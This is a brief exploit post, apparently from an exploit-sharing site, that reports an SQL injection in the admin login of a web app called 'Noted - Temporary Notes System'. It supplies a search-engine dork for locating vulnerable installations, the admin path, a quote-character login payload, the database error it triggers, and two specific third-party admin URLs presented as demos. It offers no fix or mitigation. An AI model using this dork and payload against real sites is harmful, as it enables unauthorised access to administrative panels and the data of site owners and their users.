[+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+] [+] Exploit Title : Noted - Temporary Notes System Sql Injection [+] Dork : intext:"1- Create a note and get a link" [+] Author : Vô Ưxu [+] Team: VHB Group [+] Tested on : Windows 10/Linux [+] path: domain/admin [+] POC [+] set username and password to 1'" [+] You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1 [+] Demo : [+] https://demo.condize.net/noted/admin [+] http://www.flonote.com/admin/ [+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+]